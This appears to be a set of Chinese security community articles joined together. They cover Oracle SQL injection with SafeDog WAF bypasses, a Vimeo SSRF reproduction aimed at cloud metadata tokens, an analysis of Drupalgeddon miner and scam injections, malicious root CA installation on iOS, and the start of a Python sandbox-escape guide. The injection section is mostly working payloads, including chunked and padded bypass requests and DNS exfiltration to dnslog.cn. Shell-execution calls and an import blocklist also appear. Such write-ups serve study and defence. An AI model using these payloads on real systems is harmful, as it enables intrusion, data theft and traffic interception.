（如果显示需要安装VC扩展库的话，按照教程安装即可，我这里安装的是VC11的，链接放这了：<https://www.php.cn/xiazai/download/1481>）
3、安装完之后，打开phpinfo
也可以像我这样在C:\phpStudy\WWW目录下新建phpinfo.php文件，内容为：
<?php phpinfo();?>
这里看到是32位的。
### 三、设置oci8扩展
（这里我是一直不成功，弄了半天，差点放弃了）
1、首先在C:\phpStudy\php\php-5.5.38目录下，修改php.ini的内容（搜索oci8，找到对应的扩展处，将前面的;删除即可。）
2、之后就开始苦逼地调试环境了，最终弄好是根据这篇文章弄好的，链接如下：
<https://www.it1352.com/1713162.html>
在php路径下，打开cmd，输入如下命令：
C:\phpStudy\php\php-5.5.38>php.exe -m
PHP Warning: PHP Startup: Unable to load dynamic library 'C:\phpStudy\php\php-5.5.38\ext\php_oci8.dll' - %1 不是有效的 Win32 应用程序。
in Unknown on line 0
Warning: PHP Startup: Unable to load dynamic library 'C:\phpStudy\php\php-5.5.38\ext\php_oci8.dll' - %1 不是有效的 Win32 应用程序。
in Unknown on line 0
PHP Warning: PHP Startup: Unable to load dynamic library 'C:\phpStudy\php\php-5.5.38\ext\php_oci8_11g.dll' - %1 不是有 效的 Win32 应用程序。
in Unknown on line 0
Warning: PHP Startup: Unable to load dynamic library 'C:\phpStudy\php\php-5.5.38\ext\php_oci8_11g.dll' - %1 不是有效的 Win32 应用程序。
in Unknown on line 0
PHP Warning: PHP Startup: Unable to load dynamic library 'C:\phpStudy\php\php-5.5.38\ext\php_pdo_oci.dll' - %1 不是有效的 Win32 应用程序。
in Unknown on line 0
Warning: PHP Startup: Unable to load dynamic library 'C:\phpStudy\php\php-5.5.38\ext\php_pdo_oci.dll' - %1 不是有效的 Win32 应用程序。
in Unknown on line 0
3、根据文章中所说，安装 **oracle instantclient** ，链接如下：
<https://www.oracle.com/database/technologies/instant-client/microsoft-windows-32-downloads.html>
因为数据库是11g的，所以安装11.1.x版本
4、下载好之后解压，放入C:\instantclient_11_1
5、设置环境变量，这一步很重要
在此电脑右键属性 - 高级系统设置 - 环境变量 - 系统变量（Path） - 编辑
增加这三个路径，注意顺序不要变，instantclient必须放在php的上面。
6、验证，在cmd命令提示符中输入
where oci*
出现instantclient的路径即可。
7、重启计算机
8、在php路径下，打开cmd，输入如下命令并查看结果（没有出现“不是有效的 Win32 应用程序”即可）
php.exe --ri oci8
9、在phpinfo中搜索oci8，有如下界面表示扩展已经开启成功。（没有就重启phpstudy）
当出现如下界面，环境就已经基本搭建好了。
### 四、创建漏洞测试环境
#### 1、 建立存在漏洞数据
1、首先使用navicat连接数据库
（这里有一个坑，连接时可能会出现oracle library is not loaded）
在工具 - 选项处
修改oci环境，选择之前数据库安装的路径，修改完后记得重启
2、连接数据库之后，选择相应的用户，我这里是SYSTEM
3、新建表TEST，设置如下字段
4、添加如下数据（数据其实是任意的，随意添加即可）
5、新建查询进行验证
以上漏洞数据就简单搭建成功了。
#### 2、搭建PHP站点
1、将源码保存为oracle.php文件，放到C:\phpStudy\WWW目录下
源码如下：
<?php
header("Content-Type:text/html;charset=utf-8");
$id = @$_REQUEST['id'];
$dbstr ="(DESCRIPTION =(ADDRESS = (PROTOCOL = TCP)(HOST =127.0.0.1)(PORT = 1521)) (CONNECT_DATA = (SERVER = DEDICATED) (SERVICE_NAME = orcl) (INSTANCE_NAME = orcl)))"; //连接数据库的参数配置
$conn = oci_connect('system','root',$dbstr);//连接数据库，前两个参数分别是账号和密码
if (!$conn)
{
$Error = oci_error();//错误信息
print htmlentities($Error['message']);
exit;
}
else
{
echo "<h3>Oracle 注入测试靶场</h3>"."<br>";
$sql = "select * from TEST where id=".$id;//sql查询语句
echo "当前sql语句为：".$sql."<br>"."<br>";//输出sql查询语句
$ora_b = oci_parse($conn,$sql); //编译sql语句
oci_execute($ora_b,OCI_DEFAULT); //执行
while($r=oci_fetch_row($ora_b)) //取回结果
{
$i=0;
echo "Id:".$r[$i++]." </t> <br>";
echo "Name:".$r[$i++]." </t><br> ";
echo "Age:".$r[$i++]." </t><br> ";
}
}
oci_close($conn);//关闭连接
?>
2、访问<http://localhost/oracle.php?id=1>，返回如下界面表示搭建成功，数据库也成功连接了。
### 五、安全狗
双击安装即可。
因为前面搭建环境是比较早就搭好了的，后面加上安全狗的时候忘记截图了，大概就是需要先将PHPstudy以系统服务来运行，之后再安装安全狗便可以选择相应的apache服务了。
## 0x02 bypass概念
bypass即绕过，分流。在渗透测试中，发现某漏洞存在但是因为waf、代码层面过滤等安全措施导致无法利用，这种时候，通过编码、大小写、双写等方式绕过安全防护的手法，我们常称之为bypass。
## 0x03 Oracle注入测试
首先列举正常无waf、无检测的环境下，oracle数据库注入的常见注入手法。
### 1、检测漏洞点
http://localhost/oracle.php?id=1 and 1=1
http://localhost/oracle.php?id=1 and 1=2
### 2、显错注入
http://localhost/oracle.php?id=-1 union all select 1,(select user from dual),3,'4' from dual --
### 3、报错注入
http://localhost/oracle.php?id=-1 and 1=ctxsys.drithsx.sn(1,(select user from dual)) --
### 4、布尔盲注
http://localhost/oracle.php?id=1 and 1=(select decode(user,'SYSTEM',1,0) from dual) --
http://localhost/oracle.php?id=1 and 1=(select decode(user,'SSSSS',1,0) from dual) --
### 5、延时盲注
http://localhost/oracle.php?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('o',5),0) from dual) --
### 6、外带数据
http://localhost/oracle.php?id=1 and (select utl_inaddr.get_host_address((select user from dual)||'.pgx519.dnslog.cn') from dual)is not null --
## 0x04 bypass
### 1、空格替换
以?id=1 and 1=1为例，fuzz可以替换空格的常见字符
%2d、%2e不报错，但是无信息返回
%0a、%0b、%2b、%0c、%0d、%00、%20、%09
数据正常返回，可以替换
其他字符如/* _/、/_ 60001 _/、/_!*/、+、()也可以替换空格
### 2、大小写替换
对关键字进行大小写随机替换
http://192.168.150.6/oracle.php?id=-1 uNIon ALl sELEct 1,'2',(SelEct uSEr fROm test wHEre id=1) fROm dUAl --
### 3、拼接换行回车符
Oracle中用CHR(10)表示换行、CHR(13)表示回车、字符串拼接使用||，那么回车换行即是chr(13)||chr(10)。
只要是select _from XXX中的_ 都可以拼接回车或换行，*不限于列名、字段名、正常字符串。如下图在user前拼接回车符
http://192.168.150.6/oracle.php?id=-1 uNIon ALl sELEct 1,'2',(SelEct chr(13)||uSEr fROm test wHEre id=1) fROm dUAl --
在之后拼接也是可以的
### 4、替换注入方法&结合替换
有的时候，真的一直无法显错注入、报错注入，这种时候，不妨试试盲注，虽然盲注获取数据难，耗费时间长，但是注入成功率却比显错、报错更高。
下面是通过延时盲注，加前面的%00替换空格，成功bypass
http://192.168.150.6/oracle.php?id=1 and%001=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('o',5),0) from dual) --
同样的，布尔盲注也成功bypass
http://192.168.150.6/oracle.php?id=1 and%001=(select decode(user,'SYSTEM',1,0) from dual) --http://192.168.150.6/oracle.php?id=1 and%001=(select decode(user,'SYSTEM1',1,0) from dual) --
and后面加%00，成功外带数据
http://192.168.150.6/oracle.php?id=1 and%00(select utl_inaddr.get_host_address((select user from dual)||'.nm0se5.dnslog.cn') from dual)is not null --
回头看报错注入，也成功bypass
http://192.168.150.6/oracle.php?id=-1 and%001=ctxsys.drithsx.sn(1,(select user from dual)) --
### 5、分块传输
到现在，除了显错注入，基本都已经成功bypass了，union select的我试了好多方法都不行，大小写、编码、换行、内联注释。
我还发现，内联注释中65001现在会拦截，650011不拦截
http://192.168.150.6/oracle.php?id=-1 union all /*!65001select*/ 1,(/*!65001select*/ user from dual),3,'4' from dual --http://192.168.150.6/oracle.php?id=-1 union all /*!650011select*/ 1,(/*!650011select*/ user from dual),3,'4' from dual --
查了一下意思是select变成了字符串，无法使用了。加个单引号又触发告警。。。
实在绕不过了，希望后面绕过的时候分享一下经验
现在这里，直接祭出大杀器，分块传输
编码之后发送数据包即可，成功绕过，这里放上数据包。
POST /oracle.php HTTP/1.1Host: 192.168.150.6User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:93.0) Gecko/20100101 Firefox/93.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: safedog-flow-item=081E092AB3A2707489C52CCAF4678FACUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 1156Transfer-Encoding: chunked2;xV1fjate8Q2XVoid3;FBbE5aPh1njsaBHT0t8amN=-13;DShr5ncZWnci6BodOiYRfspzR%202;pP4mnFcEQkyiQl6jC3ZuN3;Wx7ThDIon3;4NUgobBzQmvdJJgZwG%203;NXVKpLV5sALl1;lJalLMNAhnO8ffdGzL%2;pteuvLkGgZtSFG7wu4jh203;ft8CiaQjsEL1;ovy3F7LND8VHfkE3;RAyIuvoLAOWnSqxct%2;d6QXVbZb203;hNC48x1,%2;GCe40272;tz5rvVKedF2%1;G3myIfs0GAPu2eH7922;pThPJsudDL7,3;2yEVY8frLisFHPF4CDIR(Se3;gz14uhleOIDF74XtBFcXlEc2;QfmWbtNKcpt%3;a9jkXA20u2;LzU0pITPWYYSE3;tq3Kj9GTFfRqKymRnxr%22;LtPJFi3QoCTfQl0f2;EhqBiFNv8QXNqlcdgsRO1;bFragm1;DNn9kgy1%3;kswkTXdypO8iRNnAXQNy5gh20t3;Qjsv8Smfch2anhgwadest1;RJZ3Cf97d2iC5Yu%1;AomRcv23;KKFeF9ciN4Vwp6Rn26W530wH1;BMyXT4jl33E3;PPdD7Vdju0re%2;rsWVY36Q2ZmSh201;WQRwnvb7i2;uEAKtk5xd=3;c5E5JxcbYZ1)%2;FdTC5clj3AK5TO3201;13Am4uFf3;6Kz1J8BRdROm1;djnsRxzDiylbhAn4rapq%2;DlOc4poqaBWkrdVbG201;VUyDTYwHuog9fXrYxKm3WQF4d2;l10VFVhUA1;hAY6RlsGl1;CFQY7BhysEhkSmRVRgUIea%1;ENwHkBbAM8Rp623;9VNJ2r6HJRqRmBl3A7DmzAoiN0--3;AKxfqTuP7AstNrPdKtBFy9B/**1;5knHpLVmWn8kUWZkVfUSm8YJD/0
分块传输的插件github有，可以搜索chunked查找。
### 6、万能脏数据
前面分块传输成功后，给了自己莫大的信心，果然，万能脏数据也成功了，渐渐就好起来了。
要知道，waf对于每一个数据包都进行检测，这是很耗费资源的，所以一般只会在固定长度范围内进行检测，那么这里在语句中插入大量无用字符，便可以成功绕过。
POST /oracle.php HTTP/1.1Host: 192.168.150.6User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:93.0) Gecko/20100101 Firefox/93.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: safedog-flow-item=081E092AB3A2707489C52CCAF4678FACUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 6711id=-1/*脏数据*/uNIon/*脏数据*/ALl/*脏数据*/sELEct%201,%272%27,(SelEct%20uSEr%20fROm%20test%20wHEre%20id=1)%20fROm%20dUAl%20--/*脏数据*/
### 7、其他
其他还有一些双写、各种编码等，可以参考：<https://mp.weixin.qq.com/s/t7W_yEB5ajb_zlng_uMD7w>
基于Mysql数据库的绕过技术，虽然现在没有那么容易绕过了，但是思路不变，学习里面的思想也是不错的，初学时的[一篇文章](https://mp.weixin.qq.com/s/t7W_yEB5ajb_zlng_uMD7w)，希望大家喜欢。
## 0x05 总结
写了好久好久，也算是记录了自己的学习和尝试过程，希望对大家有所帮助。不知道我的写作风格大家喜不喜欢，我是比较边做边写，希望将思路的变化过程留下来，可能文章会比别人的长，也更繁琐，还请大佬们不要嫌弃。前面主要讲了环境准备和注入的简单payload展示，有相关能力的也可以直接看0x04，谢谢大家～ | 社区文章 |
参考:<https://medium.com/@dPhoeniixx/vimeo-upload-function-ssrf-7466d8630437>
## 前言
前段时间hackerone上披露了一个Vimeo上的ssrf漏洞，原作者在medium上发表了上述的博文。我结合博文对这个漏洞进行了复现的尝试。这个漏洞主要利用了Vimeo支持云上传视频的功能。它在从云端请求视频时是通过文件链接直接拉取的，且没有对域名做校验。同时，为了支持大视频的上传，采用了断点续传的方式进行，在实现断点续传上存在响应302跳转的问题继而导致了有回显的SSRF。
## 断点续传
HTTP1.1协议(RFC
2616)开始支持获取文件的部分内容，这为并行下载以及断点续传提供了技术支持。一般针对大视频文件，都会采取这样的方式进行文件传输。它通过在header里两个参数实现。客户端发请求时对应的是
**Range** ，服务器端响应时对应的是 **Content-Range** 。
**Range**
用于请求头中，指定第一个字节的位置和最后一个字节的位置，一般格式：
Range:(unit=first byte pos)-[last byte pos]
Range头的格式有以下几种情况:
Range: bytes=0-499 表示第 0-499 字节范围的内容
Range: bytes=500-999 表示第 500-999 字节范围的内容
Range: bytes=-500 表示最后 500 字节的内容
Range: bytes=500- 表示从第 500 字节开始到文件结束部分的内容
Range: bytes=0-0,-1 表示第一个和最后一个字节
Range: bytes=500-600,601-999 同时指定几个范围
**Content-Range**
用于响应头，在发出带Range的请求后，服务器会在Content-Range头部返回当前接受的范围和文件总大小。一般格式为:
Content-Range: bytes (unit first byte pos) - [last byte pos]/[entity legth]
Content-Range: bytes 0-499/22400 (例)
响应完成后，返回的响应头内容也不同：
HTTP/1.1 200 Ok
HTTP/1.1 2016 Partial Content(使用断点续传方式)
## 案例
Vimeo在实现视频上传功能时可以选择从Google Drive中上传。
通过抓取从Google Drive上传视频的请求，可以获得如下的请求，可以看到，Vimeo后端服务器从URL获取文件。
将请求中link换成VPS上的视频地址，发现是可以请求的。
在VPS上抓取流量，可以发现采取的是断点续传的传输方式。
那么就会存在一个SSRF的攻击方式。当vimeo请求文件一个大小为500B的文件时，若我的服务器仅响应200B的大小时，则它会存储这200B的内容，并请求剩下的文件。若我的服务器响应的不是200B的文件，而是一个跳转(redirect)请求呢？vimeo服务器会选择如何做呢？vimeo服务器会存储这个请求
可以编写一个响应跳转请求的web server，当vimeo请求完整的文件，只响应部分大小的文件，进行测试。
from http.server import BaseHTTPRequestHandler, HTTPServer
time = 3
length = 0
class testHTTPServer_RequestHandler(BaseHTTPRequestHandler):
#GET
def __init__(self,a,b,c):
BaseHTTPRequestHandler.__init__(self,a,b,c)
def do_GET(self):
global time,length
print(self.headers)
if time == 3:
self.send_response(206)
self.send_header('Content-Range','bytes 0-0/20188184')
self.end_headers()
time -= 1
elif time == 2:
with open('part1','rb') as f:
content = f.read()
self.send_response(200)
self.send_header('Content-Length',len(content))
self.end_headers()
self.wfile.write(content)
time -= 1
elif time == 1:
lenth = 3
self.send_response(302)
self.send_header('Location','http://144.202.121.185/test.txt')
self.end_headers()
time -= 1
else:
with open('part2','rb') as f:
content = f.read()
content = content[length:]
self.send_response(200)
self.send_header('Content-Length',len(content))
self.end_headers()
self.wfile.write(content)
time =3
def run():
port = 80
print('Starting server, port:',port)
server_address=('',port)
httpd=HTTPServer(server_address,testHTTPServer_RequestHandler)
print('Running server...')
httpd.serve_forever()
if __name__ == '__main__':
run()
测试的结果如下，vimeo服务器的确是会先存储部分内容，然后请求剩下的
上述是我复现漏洞的过程，由于302跳转的响应已经修复了，因此上述302跳转请求并未被存储。漏洞还存在时候的效果为，服务器会响应302跳转并将跳转后的内容作为视频的一部分保留下来。只要完成上传以后，下载original选项的视频即可获取到SSRF的内容（需要升级会员才能下载original的视频）
在原报道中，由于这个Vimeo服务器是个谷歌云的实例，因此将响应的302跳转填写为`http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token`即可获得access token。
## 小结
此攻击需要具备的条件:
1. 后端服务器采用断点续传的方式请求大文件
2. 后端服务器从URL中请求文件
3. 后端服务器会响应断点续传中的302跳转 | 社区文章 |
# Drupalgeddon的客户端攻击分析
##### 译文声明
本文是翻译文章，文章来源：blog.malwarebytes.com
原文地址：<https://blog.malwarebytes.com/threat-analysis/2018/05/look-drupalgeddon-client-side-attacks/>
译文仅供参考，具体内容表达以及含义原文为准。
## 写在前面的话
Drupal是最欢迎的内容管理系统（CMS）之一，其他还有WordPress和Joomla。在2018年3月下旬，Drupal受到了一个主要的远程代码执行漏洞（(CVE-2018-7600]([https://www.drupal.org/sa-core-2018-002)）的影响，几乎一个月后又出现了另一个漏洞（[CVE-2018-7602](https://www.drupal.org/sa-core-2018-004)），两者都被正式命名为Drupalgeddon](https://www.drupal.org/sa-core-2018-002\)%EF%BC%89%E7%9A%84%E5%BD%B1%E5%93%8D%EF%BC%8C%E5%87%A0%E4%B9%8E%E4%B8%80%E4%B8%AA%E6%9C%88%E5%90%8E%E5%8F%88%E5%87%BA%E7%8E%B0%E4%BA%86%E5%8F%A6%E4%B8%80%E4%B8%AA%E6%BC%8F%E6%B4%9E%EF%BC%88%5BCVE-2018-7602%5D\(https://www.drupal.org/sa-core-2018-004\)%EF%BC%89%EF%BC%8C%E4%B8%A4%E8%80%85%E9%83%BD%E8%A2%AB%E6%AD%A3%E5%BC%8F%E5%91%BD%E5%90%8D%E4%B8%BADrupalgeddon)
2和Drupalgeddon 3。
对于许多站长来说，这种情况令人沮丧，因为打补丁的时间变少了。此外，更新或升级Drupal（或任何其他CMS）可能会带来一些副作用，例如模板或功能不完整，这就是为什么您需要完整备份并在转移到产品之前测试保存更改。
推出一个CMS通常很容易，但维护它不出问题成了每个站长头疼的问题，因为网站经常过期且被黑客利用，而且还不止一次。
## 样本集和网页爬行
我们决定选择尚未验证的web属性（包括Drupal的所有版本，不论是否存在漏洞）。我们的主要URL来源是`Shodan`，并由`PublicWWW`进行补充，总共大约有80,000个网址可供抓取。我们很惊讶地发现，在过程中很快就会遇到危险的网站，并且能够确认900多个网站存在注入。
许多结果都是托管在亚马逊或其他云供应商上的服务器，这些服务器很可能是为了测试目的而设置的，并且从不删除或升级。谢天谢地，他们几乎没有收到任何流量。我们遇到的其他领域跨越了各种研究和语言，其中有一个共同点：Drupal
CMS的版本过时（通常严重过时）。
## Drupal版本
在撰写本文时，Drupal
有两个[推荐版本](https://www.drupal.org/project/drupal)。版本8.xx是最新和最好的一些新功能，而7.xx被认为是最稳定和兼容的版本，尤其是当涉及到主题时。
几乎有一半我们被标记为受损的网站运行的是Drupal
7.5.x版本，而7.3.x版本仍然约占30％，考虑到它最后在2015年8月更新，这个数字相当高。自那时以来，许多安全缺陷已被发现（并被利用）。
## payload
大量的Drupal网站已经可以通过最近的这两个漏洞被黑客攻击，同时也可以感染服务器端恶意软件，特别是[XMRig加密货币矿工](https://isc.sans.edu/forums/diary/Drupal+CVE20187600+PoC+is+Public/23549/)。但是，在这篇文章中，我们将重点讨论这些妥协的客户端影响。但这两种方法都不具有排他性，因为被攻击的网站黑客可能会在服务器和客户端执行恶意操作。
## Web矿工
在2017年秋季，挖矿攻击虽然有所上升，但在今年年初有所放缓。可以肯定地说，最近的Drupal漏洞已经加剧了火灾并导致活动增加。虽然公共或私人的Monero矿池也在吸引着人们的关注，但Coinhive注入仍然是最受欢迎的选择。
我们也看到了同样的活动在三月初的其他研究人员已经记录在案，并在一天内增加了更多的受害者。
## 虚假更新
我们之前记录的虚假浏览器更新活动仍然在继续。它分发远程管理工具（RAT）的密码窃取程序。
### 技术支持诈骗（browlocks）
重新定向浏览器的页面 一种揭示技术支持诈骗的典型方法。我们能够记录的最常见的重定向是使用. tk顶级域`(TLD)`名称将中介站点重定向到浏览器的锁存页面。
mysimplename[.]com/si.php
window.location.replace("http://hispaintinghad[.]tk/index/?1641501770611");
window.location.href = "http://hispaintinghad[.]tk/index/?1641501770611";
## Web挖掘和注入代码
我们收集了不同类型的代码注入，从简单和明确的文本到冗长的混淆虚词。值得注意的是，在很多情况下，代码是动态的 – 很可能是一种逃避检测的技术。
## 快照
以下是按类别排序的受感染网站的一些示例。我们已经联系了所有相关方，让他们知道他们的资源正在被犯罪分子利用，以从恶意加密或恶意软件感染中获利。
## 恶意cryptomining仍然火爆
很明显，现在加密是恶意注入的首选方式。有许多公开但私有的API可以使整个过程变得简单，不幸的是它们正在被不良份子滥用。
大大小小的受损网站仍然是攻击者随着时间推移积累的热门商品。而且由于补丁仍然是一个问题，潜在的新受害者数量从未停止增长。鉴于此，网站所有者应该考虑其他类型的缓解，当补丁不总是即时的选择，这个时候就应该检查所说的虚拟补丁。特别是，Web应用程序防火墙（WAF）帮助许多人即使对新类型的攻击保持保护，即使他们的CMS易受攻击。
`Malwarebytes`继续检测并阻止恶意加密和其他不必要的重定向。
妥协指标
### Coinhive
### URI
cnhv[.]co/1nt9z
coinhive[.]com/lib/coinhive.min.js
coinhive[.]com/lib/cryptonight.wasm
coinhive[.]com/lib/worker-asmjs.min.js?v7
ws[0-9]{3}.coinhive[.]com/proxy
### 网站密钥
CmGKP05v2VJbvj33wzTIayOv6YGLkUYN
f0y6O5ddrXo1be4NGZubP1yHDaWqyflD
kAdhxvdilslXbzLAEjFQDAZotIVm5Jkf
MKr3Uf5CaT88pcqzAXltkBu4Us5gHWaj
NL9TTsyGeVU8FbKR9fUvwkwU4qPJ4Z2I
no2z8X4wsiouyTmA9xZ0TyUdegWBw2yK
oHaQn8uDJ16fNhcTU7y832cv49PqEvOS
PbNDLKIHLCM0hNXOIM7sRTsk66ZuAamf
RYeWLxbPVlfPNsZUh231aLXoYAdPguXY
XoWXAWvizTNnyia78qTIFfATRgcbJfGx
YaUkuGZ3pmuPVsBMDxSgY45DwuBafGA3
### Crypto-Loot
### URI
cryptaloot[.]pro/lib/justdoit2.js
### Keys
48427c995ba46a78b237c5f53e5fef90cd09b5f09e92
6508a11b897365897580ba68f93a5583cc3a15637212
d1ba2c966c5f54d0da15e2d881b474a5091a91f7c702
### EthPocket
eth-pocket[.]com:8585
eth-pocket[.]de/perfekt/perfekt.js
### JSECoin
jsecoin[.]com/platform/banner1.html?aff1564&utm_content=
### DeepMiner
greenindex.dynamic-dns[.]net/jqueryeasyui.js
### Other CryptoNight-based miner
oudflane[.]com/lib/cryptonight.wasm
### FakeUpdates
track.positiverefreshment[.]org/s_code.js?cid=220&v=24eca7c911f5e102e2ba
click.clickanalytics208[.]com/s_code.js?cid=240&v=73a55f6de3dee2a751c3
185.244.149[.]74
5.9.242[.]74
### Tech scams
192.34.61[.]245
192.81.216[.]165
193.201.224[.]233
198.211.107[.]153
198.211.113[.]147
206.189.236[.]91
208.68.37[.]2
addressedina[.]tk
andtakinghis[.]tk
andweepover[.]tk
asheleaned[.]tk
baserwq[.]tk
blackivory[.]tk
blownagainst[.]tk
cutoplaswe[.]tk
dearfytr[.]tk
doanythingthat[.]tk
faithlessflorizel[.]tk
grey-plumaged[.]tk
haddoneso[.]tk
handkerchiefout[.]tk
himinspectral[.]tk
hispaintinghad[.]tk
ifheisdead[.]tk
itshandupon[.]tk
iwouldsay[.]tk
leadedpanes[.]tk
millpond[.]tk
mineofcourse[.]tk
momentin[.]tk
murdercould[.]tk
mysimplename[.]com
nearlythrew[.]tk
nothinglikeit[.]tk
oncecommitted[.]tk
portraithedid[.]tk
posingfor[.]tk
secretsoflife[.]tk
sendthemany[.]tk
sputteredbeside[.]tk
steppedforward[.]tk
sweeppast[.]tk
tellingmeyears[.]tk
terriblehope[.]tk
thatwonderful[.]tk
theattractions[.]tk
thereisnodisgrace[.]tk
togetawayt[.]tk
toseethem[.]tk
wickedwere[.]tk
withaforebodingu[.]tk | 社区文章 |
# 将root CA添加到iOS设备
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://www.sensepost.com/blog/2016/too-easy-adding-root-cas-to-ios-devices/>
译文仅供参考，具体内容表达以及含义原文为准。
关于最近约翰•霍普金斯团队遇到的iMessage加密错误,有几个人指出,这个时候就需要添加一个root CA来使它正常运作。然而获得一个全球性root
CA的私有密钥是很困难的,让一台设备信任一个恶意的root CA看上去也很难办到,但实际上不然。(在文章尾部的注意事项中有一个简短的技术说明。)
在2014 年的Defcon talk上,我们发布了mana工具包,并指出在Android和iOS设备上安装是root
CA是相当容易的,甚至都不需要进行攻击。而在两年后,iOS的世界也没有太大的改变,只是多了一个不清不楚的提示。
简单的方法
想要诱导用户在iOS设备上安装恶意root CA,你需要做的只是通过HTTP提供一个自签名证书 (它必须是自签名的,否则就不会作为root
CA进行安装)。你只需要提供这个文件,甚至它不必是正确的mime类型。我认为在captive
portal检查中,这是最容易做到的.当设备首次连接到一个无线网络时,
用户界面会弹出一个窗口,为了吸引用户上钩,可以将窗口命名为“免费无线网络自动配置”。如果用户没有通过安装,那么步骤是这样的:
1.提示安装自签名恶意证书。红色的“未经验证”字样是非技术用户能看出来的最危险的标识。
1.1点击“更多细节”后你会看到的画面
2.将恶意证书添加到您的信任证书中时,你会收到新的警告。你会注意到,在面对普通用户的时候,它不会解释为什么这样做是不好的,而是会说
“这将允许别人拦截和修改你的加密通信” 。
即使是技术用户,也没法弄清楚这是不是会作为一个新的可信root进行添加。
我们也会看到一个警告,提醒我们概要文件是未经证实的。
3.第二个“安装”提示。如果用户启用了密码或口令,他们会在此之前收到提示。
4.现在证书已经安装。
对于用户来说,这只是简单的三个步骤,除了刚才那个“未经验证”的提示之外,用户根本不会意识到已经发生了一些糟糕的事情。在这种情况下,加密的MitM攻击是可行的,我们需要做的只是提供一个证书文件。
更好的方法
但是,让我们再多进行一步,看看是否可以去掉红色的“未经验证”警告,这就不仅仅是需要添加一个root CA了。
首先,我们来看一个用苹果iPhone配置器2或更老的配置通用程序编辑出来的简单配置概要文件。它们都能生成一个简单的plist文件。在这个配置中,我同样添加了自签名证书,并将配置导出为.mobileprofile文件,并确保它未签名和未加密。接下来,我使用一个有效的签署文件代码对证书进行签名。为了显示配置文件可以做一些其他的事情,我添加了一个隐藏的网络设备,设备会对其进行探索
(还会收到mana的回复)。最后,我们更新captive
portal来为.mobileprofile文件——而不是证书进行服务。这样做,不需要华丽的标题和mime类型。这就是用户将会看到的页面:
1.正在连接时用户收到的提示。红色的“未经验证”警告现在被替换成了一个绿色的“已验证”提示,这是因为配置文件已经被签署了,尽管它包含了恶意的、未经证实的root
CA。我们也可以添加一些解释性的文字来让用户感觉更舒适。
我已经修改了签名证书的详细信息,因为我不希望别人取消它。
1.1点击“更多细节”后你会看到的界面。你会注意到wifi网络都在这里。
2.这是和之前一样的警告,提示证书将被添加到你信任的root中,但“这个概要文件未经验证”的警告已经不见了。对于非技术用户来说,这听上去就没什么可怕的了。甚至技术用户也可能被愚弄,因为它没有提到会作为一个可信root
CA进行添加。
3.第二个安装提示。和之前一样,如果你有密码,系统在此之前会提示你输入。
4.这个概要文件已经安装完毕,你可以开始进行MitM攻击了。
现在,一个恶意的概要文件已经安装好了。利用这个配置概要文件,你可以对一台iOS设备的几乎任何一个方面进行配置,甚至建立一个远程MDM
服务器来赶走之后会出现的新的概要文件,并做一些准备,防止被用户删除。当然,配置得越多,额外的警告也就越多。
结论
我希望这已经足够证明,在iOS设备上安装一个恶意的root
CA是很容易的,这样的话,发动iMessage和其他此类攻击也并非想象中那么困难。尤其是在配置概要文件的例子中,攻击者的“成本”相当低。
此外,我真心希望苹果能用红色显眼字体向用户解释清楚选项的含义是什么,并且推荐一个安全的默认选择。例如,在面向Android设备时,谷歌推出了一个持久的警告,通知用户他们的通讯可能会被截获。当然,
这些警告并不会阻止所有的用户,但手机操作系统也需要跟上浏览器的步伐,向用户推荐一个“默认”的安全选择,而不是任由用户自己进行选择。
针对iMessage缺陷的说明
苹果用来修复iMessage缺陷的方法是,用一些证书挡住iMessage请求。根据约翰霍普金斯的论文,这在2015年12月已经完成。
通过迫使一个特定的信任链或使用特定证书投入使用,MitM证书有效地挡住了iMessage流量中的MitM攻击。我们的恶意证书不是信任链的一部分,我们签署的证书也不会与特定的证书进行匹配。这就是为什么Twitter和Facebook这类应用不容易受到MitM攻击。
然而,老的iOS设备(pre-9)仍易受到这种攻击。因此,人们称这种攻击需要一个root
CA的私有密钥是正确的,但是前提是要在iOS9设备上。针对iMessage的攻击比任何一个root
CA都要困难得多,因为你需要访问一个特定的、内置的root CA的私有密钥。总之,上述技术无法让你在新一代的手机执行针对imessage的JHU攻击。 | 社区文章 |
Python的沙箱逃逸是一些OJ,Quantor网站渗透测试的重要渠道,本篇文章主要从一些语言特性和一些技巧上来讲解python的一些元知识以及如何突破限制达到我们渗透的目的
# 0x00 python沙箱逃逸概述
沙箱逃逸,就是在给我们的一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制,最终成功拿到shell权限的过程
对于python的沙箱逃逸而言,我们来实现目的的最终想法有以下几个
* 使用os包中的popen,system两个函数来直接执行shell
* 使用commands模块中的方法
* 使用subprocess
* 使用写文件到指定位置,再使用其他辅助手段
总体来说,我们使用以下几个函数,就可以直接愉快的拿到shell啦!
import os
import subprocess
import commands
# 直接输入shell命令,以ifconfig举例
os.system('ifconfig')
os.popen('ifconfig')
commands.getoutput('ifconfig')
commands.getstatusoutput('ifconfig')
subprocess.call(['ifconfig'],shell=True)
但是,可以确定的是,防御者是不会这么轻易的让我们直接拿到shell的,肯定会有各种过滤,对代码进行各种各样的检查,来阻止可能的进攻
防御者会怎么做呢
# 0x01 import相关的基础
对于防御者来说,最基础的思路,就是对代码的内容进行检查
**最常见的方法呢,就是禁止引入敏感的包**
import re
code = open('code.py').read()
pattern = re.compile('import\s+(os|commands|subprocess|sys)')
match = re.search(pattern,code)
if match:
print "forbidden module import detected"
raise Exception
用以上的几行代码,就可以简单的完成对于敏感的包的检测
我们知道,要执行shell命令,必须引入 os/commands/subprocess这几个包,
